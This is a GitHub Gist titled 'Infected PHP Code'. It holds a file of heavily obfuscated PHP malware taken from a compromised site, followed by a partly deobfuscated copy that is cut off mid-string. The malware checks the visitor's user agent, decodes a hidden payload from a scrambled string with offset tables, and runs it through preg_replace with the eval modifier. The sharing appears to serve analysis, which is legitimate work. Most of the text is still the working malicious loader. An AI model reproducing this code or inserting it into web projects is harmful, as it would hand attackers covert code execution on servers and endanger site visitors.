Skip to content

Instantly share code, notes, and snippets.

@Zorgatone

Zorgatone/00_vir.php

Last active December 4, 2015 17:25
Show Gist options
  • Save Zorgatone/5e4f72d250f11cf7ba0a to your computer and use it in GitHub Desktop.
Save Zorgatone/5e4f72d250f11cf7ba0a to your computer and use it in GitHub Desktop.
Download ZIP
Infected PHP Code
Raw
00_vir.php
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $vidirizvvr = '~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x*0f(-!#]y76]277]y72]25c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x78x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x787x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^j6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x782x7860UQPMSVD!-id%x5c%x%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%xw)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WY%x5c%x7860{66~6<&w6<<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x78223}!+!<+{e%x5c%x7%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;g%x5c%x787fw6*CW&)7gj6<*doj%x5c%x785c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fd%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui8]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]5vc%x5c%x7825}&;ftmbg}%x5c%x787f7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U5c%x782f%x5c%x7825z<jg1#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bs7tfs%x5c%x78256<*17-SFEBFI,6<*0QUUI7jsv%x5c%x78257UFH#%x5c%x7827rf5c%x7825tzw%x5c%x782f%x5c%x7%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x7x5c%x7824-tusqpt)%x5c%x7825z-#x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmx5c%x7878B%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5q%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%QUUI&b%x5c%x7825!|!*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*x7825!<*::::::-111112)eobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%xx5c%x787fw6*%x5c%x787f_*#fubfsdXk55c%x7827,*b%x5c%x7827)fepdo5%x5c%x7824-%x5c%x7824k4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7g24*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x782]18y]#>q%x5c%x7825<#762]67%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*5s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c27&6<*rfs%x5c%x78257-K)fujs%x5c%!%x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2opjudovg)!gj!|!*msv%x5c%x7824:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)c%x7825:<#64y]552]e7y]#>n%x5c%x9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sz-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%3]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]#Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]37~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5597f-s.973:8297f:5297e:56-%x5154%x28%151%x6d%160%x6c%157%x64%145%x28%141%x72%165c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x782~<%x5c%x7825h00#*<%x5c%x7825nfd)#5c%x7825>2q%x5c%x7825x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271860ufh%x5c%x7860fmjg}[;ldpt%x-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x77825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x78257825b:>%x5c%x7825s:%x5c%x785c%x5c%x78*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x787f%gg($n){return chr(ord($n)-1);} @error_]y6g]273]y76]271]y7d]252]y74]256]y39]255-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*7825tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<%x55c%x782f#%x5c%x782f},;#-#}+;%x5c%x782x5c%x7825tpz!>!#]D6M7]K3#<%xyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7r%x5c%x7878<~!!%x5c%x782sboepn)%x5c%x7825bss-%x5c%x7825r%OBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x7827825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hAx5c%x785c1^-%x5c%x7825r%x5c%x785c2c%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]c%x7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]yw%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf5cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%fV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824;!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x%x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%j6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5|:*mmvo:>:iuhofm%x5c%x782j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2127-UVPFNJU,6<*27-SFGT<#g6R85,67R37,18R#>q%x5c%x7825V<*#fo25)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c0%154%x69%164%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5utcvt)!gj!|!*bubE{h%x5c%x78141%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLO%x7825>U<#16,47R57,27R66,#%x5c%x782fq%xc%x785c2^<!Ce*[!%x5c%x782cq%x5c%x7825%x5c%x7827jsv%x5c%x78**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x5c%x7824-!%x5c%x7825%x5c%x7824-%c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]2h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5y]562]38y]572]48y]#>m%x5c%x.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cx7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)f%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%xfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%48]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]3c%x7827!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%s%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7x5c%x7825w%x5c%x7860TW5)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-c%x7825w6Z6<.4%x5c%x7860hA25bG9}:}.}-}!#*<%x5c%x7825n7825<#372]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x7fw6*%x5c%x787f_*#[k2%x5c%x7epmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x7825)s78256<%x5c%x787fw6*%x5c%x787f_*#fmjg)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%xc%x7825t2w>#]y74]273]y76]252]y85]256]PI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFSx5c%x7860sfqmbdf)%x5c,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%x5c%x78e%x5c%xy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#56<%x5c%x787fw6*%x5c%x787f_*#ujoj4<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]7825)uqpuft%x5c%x7860msvd},;uqpuft%x5cc%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272q%x7825)Rd%x5c%x7825)Rb%x5c%x<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:^<!%xd>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<x7825)tpqsut>j%x5c%x7825!*72!%x5c%x782%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%xsutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x584:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7Rk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c%x78if((function_exists("%x6f%142%x5f%163%x74%reporting(0); preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65%166%x61%!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%r%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5cx7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5c%x7824<%x5c%x7s%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x78**197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x78256<%},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<<%x5c%x7825tdz>#L4]275L3]248L3P6L%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%7827!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%xhmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#%x29%51%x29%73", NULL); }%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7824-_GMFT%x5c%x7860QIQ&f_UTpoV;hojepdoF.uofuopD#)sfebfI{*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfiBALS["%x61%156%x75%156%x61"]=1; function fjf]y7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x2f14+9**-)1%x5c%x782f2986+7**^%x5c%x782f%x5c%x782578256<#o]1%x5c%x782f28256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmq824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]:#*%x5c%x7824-%x5c%x7824!>!tus%c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%21%50%x5c%x7825%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e25j:.2^,%x5c%x7825b:y6g]257]y86]267]y74]o:!>!%x5c%x78242178}527}88:}334}472%x5c%x782%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c%x825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!%x5c%x78b%x5c%x7825w:!>!%x5c%x7824676<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%x5c%x62]y3:]84#-!OVMM*<%x22%51%x787f!|!*uyfu%x5c%x7827x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#x7825tzw>!#]y76]277]y72]265]y39]274]y85]2735:-5ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:489!>!fyqmpef)#%x5c%x7824*<!%x5f%x5c%x7878pmpusut)tpqssutRe%x5c6]373P6]36]73]83]238M7]381]211M5]67]452]88]5]5c%x782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782f45]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x78x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7g**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x785c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!2%x5c%x785c2b%x5c%x7825!>!2p%x5c%x7825!*3>?*5zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ek:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x782f#p#%x2]y83]273]y72]282#<!%x5c%x7825z!>2<!gps)%x5c%x7825j&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x786027!hmg%x5c%x7825)!gj!<2,*j%x5c65]y39]271]y83]256]y78]24j%x5c%x78256<^#zsfvr#%x5825j,,*!|%x5c%x7824-%42%x2c%163%x74%162%x5f%163%x7f.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%/(.*)/epreg_replacesdiyswtcgo'; $raprmlaacp = explode(chr((292-248)),'7097,42,4474,68,8103,44,2952,38,7139,69,2339,50,6631,52,10023,30,4316,56,8585,65,8840,37,2242,68,5612,26,331,45,3508,65,1093,44,8325,41,3210,45,2459,53,9493,64,1863,32,7770,53,8304,21,1029,36,5426,41,7433,55,8521,64,9430,63,4060,39,6366,58,9979,24,5023,61,4606,33,5084,56,1295,48,7488,68,1528,34,426,20,563,34,8941,52,5886,36,1611,64,256,53,999,30,4205,22,3381,63,6239,33,7027,70,5789,28,6683,48,2728,29,2389,70,309,22,6328,38,526,37,800,31,3927,43,9724,43,1952,28,5489,63,6877,59,5366,60,6594,37,9924,30,5181,57,7731,39,6066,60,5922,47,4372,32,7823,39,4263,53,2061,33,4447,27,7862,24,4124,37,196,60,9611,44,8009,38,3029,56,4959,64,696,45,8194,60,1562,27,10053,53,1462,66,9557,54,654,42,5140,41,5817,69,9248,32,6424,28,3444,64,7956,23,6006,39,9868,56,1343,69,446,58,7608,46,4639,61,9018,24,9692,32,5721,68,3145,37,8047,56,6506,44,6977,50,4781,65,4099,25,9125,43,504,22,8775,65,6550,44,2898,54,1167,59,3795,43,4734,47,4542,39,2595,21,4227,36,7979,30,3713,37,8432,58,7556,52,895,45,1895,57,2757,35,6731,30,3838,49,9082,43,2990,39,9817,26,3085,60,4404,43,5969,37,8670,20,3255,69,3970,45,9325,63,7276,55,1412,50,4882,50,2030,31,5665,56,1734,26,4932,27,2792,69,8690,44,6272,56,5552,60,4700,34,2616,60,7911,45,7687,44,1137,30,8490,31,6045,21,4015,45,7331,61,10003,20,3887,40,6761,67,89,46,1675,59,1589,22,9220,28,3660,53,1980,50,8734,41,831,64,4581,25,3750,45,135,61,2512,50,9655,37,2094,43,3573,34,4161,44,376,50,3348,33,1226,69,2310,29,3607,53,9168,52,6936,41,3182,28,597,57,6194,45,7654,33,4846,36,9388,42,5638,27,5238,68,9042,40,2562,33,2179,63,9280,45,5306,60,962,37,7392,41,8254,50,3324,24,1824,39,1760,64,8877,64,2861,37,8650,20,6452,54,6828,49,9843,25,9767,50,940,22,7208,68,5467,22,0,68,1065,28,8366,66,6126,68,2676,52,8147,47,68,21,9954,25,741,59,2137,42,8993,25,7886,25'); $ebopobgsez=substr($vidirizvvr,(34995-24889),(33-26)); if (!function_exists('kfrlxyabnx')) { function kfrlxyabnx($spprkfdljh, $ufqsvxirur) { $vwucygdunn = NULL; for($bifgceonwy=0;$bifgceonwy<(sizeof($spprkfdljh)/2);$bifgceonwy++) { $vwucygdunn .= substr($ufqsvxirur, $spprkfdljh[($bifgceonwy*2)],$spprkfdljh[($bifgceonwy*2)+1]); } return $vwucygdunn; };} $mpgmsolqch="\x20\57\x2a\40\x6c\171\x6f\153\x79\155\x76\163\x70\150\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\70\x30\55\x31\64\x33\51\x29\54\x20\143\x68\162\x28\50\x32\71\x31\55\x31\71\x39\51\x29\54\x20\153\x66\162\x6c\170\x79\141\x62\156\x78\50\x24\162\x61\160\x72\155\x6c\141\x61\143\x70\54\x24\166\x69\144\x69\162\x69\172\x76\166\x72\51\x29\51\x3b\40\x2f\52\x20\144\x6d\150\x6d\142\x6d\171\x67\155\x70\40\x2a\57\x20"; $tigovkxdrc=substr($vidirizvvr,(33385-23272),(44-32)); $tigovkxdrc($ebopobgsez, $mpgmsolqch, NULL); $tigovkxdrc=$mpgmsolqch; $tigovkxdrc=(809-688); $vidirizvvr=$tigovkxdrc-1; ?>
Raw
01_vir_deob.php
<?php
if (!isset($GLOBALS["anuna"])) {
$user_agent = strtolower($_SERVER["HTTP_USER_AGENT"]);
if ((!strstr($user_agent, "msie")) and (!strstr($user_agent, "rv:11"))) $GLOBALS["anuna"] = 1;
}
?>
<?php
// $foo contains "epreg_replace" in the last part
$foo = '~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x*0f(-!#]y76]277]y72]25c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x78x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x787x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^j6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x782x7860UQPMSVD!-id%x5c%x%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%xw)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WY%x5c%x7860{66~6<&w6<<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x78223}!+!<+{e%x5c%x7%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;g%x5c%x787fw6*CW&)7gj6<*doj%x5c%x785c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fd%x5c%x782f!**#sfmcnbs+yfeobz+sfwjidsb%x5c%c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui8]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33]65]y31]5vc%x5c%x7825}&;ftmbg}%x5c%x787f7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U5c%x782f%x5c%x7825z<jg1#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bs7tfs%x5c%x78256<*17-SFEBFI,6<*0QUUI7jsv%x5c%x78257UFH#%x5c%x7827rf5c%x7825tzw%x5c%x782f%x5c%x7%x5c%x7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x7x5c%x7824-tusqpt)%x5c%x7825z-#x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmx5c%x7878B%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5q%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5c%x785cq%QUUI&b%x5c%x7825!|!*)323zbek!~!<b%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*x7825!<*::::::-111112)eobs%x5c%x7860un>qp%x5c%x7825!|Z~!<##!>!2p%xx5c%x787fw6*%x5c%x787f_*#fubfsdXk55c%x7827,*b%x5c%x7827)fepdo5%x5c%x7824-%x5c%x7824k4%x5c%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7g24*<!~!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x782]18y]#>q%x5c%x7825<#762]67%x7825b:>1<!gps)%x5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*5s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c27&6<*rfs%x5c%x78257-K)fujs%x5c%!%x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2opjudovg)!gj!|!*msv%x5c%x7824:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x5c%x7824Ypp3)c%x7825:<#64y]552]e7y]#>n%x5c%x9y]g2y]#>>*4-1-bubE{h%x5c%x7825)sz-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%3]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]#Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]37~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5597f-s.973:8297f:5297e:56-%x5154%x28%151%x6d%160%x6c%157%x64%145%x28%141%x72%165c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%x5c%6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x782~<%x5c%x7825h00#*<%x5c%x7825nfd)#5c%x7825>2q%x5c%x7825x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c78b%x5c%x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271860ufh%x5c%x7860fmjg}[;ldpt%x-u%x5c%x7825!-#2#%x5c%x782f#%x5c%x77825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%x78257825b:>%x5c%x7825s:%x5c%x785c%x5c%x78*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x787f%gg($n){return chr(ord($n)-1);} @error_]y6g]273]y76]271]y7d]252]y74]256]y39]255-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%x7825-*7825tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<%x55c%x782f#%x5c%x782f},;#-#}+;%x5c%x782x5c%x7825tpz!>!#]D6M7]K3#<%xyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7r%x5c%x7878<~!!%x5c%x782sboepn)%x5c%x7825bss-%x5c%x7825r%OBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x7827825))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hAx5c%x785c1^-%x5c%x7825r%x5c%x785c2c%x7878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]c%x7825kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]yw%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf5cIjQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%fV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824;!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x7825>%x%x7825%x5c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%j6<**2qj%x5c%x7825)hopm3qjA)qj3hopmA%x5|:*mmvo:>:iuhofm%x5c%x782j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%^-%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2127-UVPFNJU,6<*27-SFGT<#g6R85,67R37,18R#>q%x5c%x7825V<*#fo25)sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825!|!*#91y]c0%154%x69%164%50%x22%134%x78%62%x35%165%x3a%146%x21%76%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5utcvt)!gj!|!*bubE{h%x5c%x78141%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLO%x7825>U<#16,47R57,27R66,#%x5c%x782fq%xc%x785c2^<!Ce*[!%x5c%x782cq%x5c%x7825%x5c%x7827jsv%x5c%x78**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x5c%x7824-!%x5c%x7825%x5c%x7824-%c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]2h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5y]562]38y]572]48y]#>m%x5c%x.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cx7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)f%x7825-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*9!%x5c%xfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%